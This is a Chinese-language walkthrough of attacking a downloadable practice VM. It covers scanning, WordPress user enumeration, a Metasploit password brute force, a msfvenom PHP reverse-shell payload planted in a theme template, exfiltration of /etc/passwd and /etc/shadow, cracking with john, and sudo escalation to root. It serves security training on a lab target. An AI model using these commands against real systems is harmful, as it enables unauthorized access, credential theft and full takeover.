暴力破解漏洞实现原理
暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小。
靶机搭建
链接:https://pan.baidu.com/s/1Zw_huwIenjGTXUteftOuUw
提取码:vuq6
漏洞复现
- 使用netdiscover发现存活主机
netdiscover -i eth0
- 使用nmap,nikto进行信息探测
nmap -sV 192.168.101.48
nikto -host http://192.168.101.48
- 发现了secret这个敏感目录,登录该目录下尝试进入login后台失败
- 修改/etc/hosts文件,添加多一条域名解析记录就可成功访问
- 首先我们必须知道该网站都存在哪些用户名,我们这里使用wpscan来对该网站的用户名进行暴力破解
wpscan --url http://vtcsec/secret --enumerate u
- 破解到一个admin的账号
- 接下来我们的重头戏来了!使用msfconsole对其密码进行暴力穷举
msfconsole
use auxiliary/scanner/http/wordpress_login_enum
set rhosts 靶机IP
set username admin
set pass_file /usr/share/wordlists/dirb/common.txt
set targeturi /secret/
run
- 破解出用户名和密码均为admin
- 在利用handler模块进行监听反弹shell,也是在msf中进行
back
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 本机IP
run
- 登录后台后,找到editors目录下的404Template,使用生成的静荷替换404模板里的内容
msfvenom -p php/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw
- 在URL中输入以下网址,即可反弹shell
http://靶机IP/secret/wp-content/themes/twentyseventeen/404.php
-
注:这里的twentyseventeen指的是这里的小写值
- shell反弹成功,但是发现只是一个普通的www-data账户,我们输入以下命令进入命令行界面
- 下载靶机的passwd和shadow散列值到kali本机的根目录下
download /etc/passwd
download /etc/shadow
- 在kali本机中进行john的暴力破解,破解到了一个用户名密码均为marlinspike
unshadow passwd shadow > cracked
john cracked
- 注:这里解释一下unshadow这个命令,这个命令是将密码文件和密码的散列值进行组装的一个命令,专门配合john命令来使用的
- 在msf中进行提权
shell
python -c "import pty;pty.spawn('/bin/bash')"
su - marlinspike
- 进入marlinspike账户后,查看该用户sudo能执行的权限,发现是root的所有执行权限,赚大发了!果断使用sudo bash命令提权
总结:其实暴力破解在实战中也是很常用的一种方式,在渗透测试者收集到的有用信息极少极少时,便可以尝试暴力破解的方式,但成功率完全取决于字典大小